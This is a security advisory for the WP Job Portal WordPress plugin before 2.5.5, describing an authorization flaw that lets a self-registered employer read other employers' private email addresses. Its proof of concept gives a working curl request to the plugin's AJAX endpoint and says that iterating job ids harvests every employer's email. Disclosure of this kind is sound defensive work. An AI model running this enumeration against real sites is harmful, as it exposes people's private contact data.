WP Job Portal < 2.5.5 – Subscriber+ Employer Email Disclosure via IDOR | CVE 2026-12397

Description

The plugin does not verify ownership when returning an employer's contact email for a given job, allowing authenticated users with a subscriber-level (self-registerable) account to read other employers' private account email addresses by enumerating job identifiers.

Proof of Concept

Prerequisite: an authenticated account holding the plugin Employer role (created via the plugin's front-end "Register as Employer" form). At least one OTHER employer exists whose job's company contact email is empty (the handler then falls back to that employer's private account email).

Step 1 - As the attacker, load your own applied-resume page and read the get-email-fields nonce the plugin renders there (it is bound to the attacker's own session, not to ownership of any job).

Step 2 - Request another employer's job id via the email-fields AJAX task:

   curl -k -b 'EMPLOYER_COOKIES' 'https://TARGET/wp-admin/admin-ajax.php' \
     --data-urlencode 'action=wpjobportal_ajax' \
     --data-urlencode 'wpjobportalme=jobapply' \
     --data-urlencode 'task=getEmailFields' \
     --data-urlencode 'jobid=VICTIM_JOB_ID' \
     --data-urlencode 'em=x@x.test' \
     --data-urlencode 'resumeid=1' \
     --data-urlencode '_wpnonce=NONCE'

Step 3 - The HTTP 200 response discloses the victim employer's private account email inside the sender input:

   <input type="text" id="sender" value="victim-private@example.test" disabled="disabled" />

Iterating jobid from 1 upward harvests every employer's private account email. Controls: requesting the attacker's own job id returns the attacker's own email; a bad/absent nonce returns "Security check Failed" (the nonce is required and session-bound, so this is an authenticated cross-account disclosure).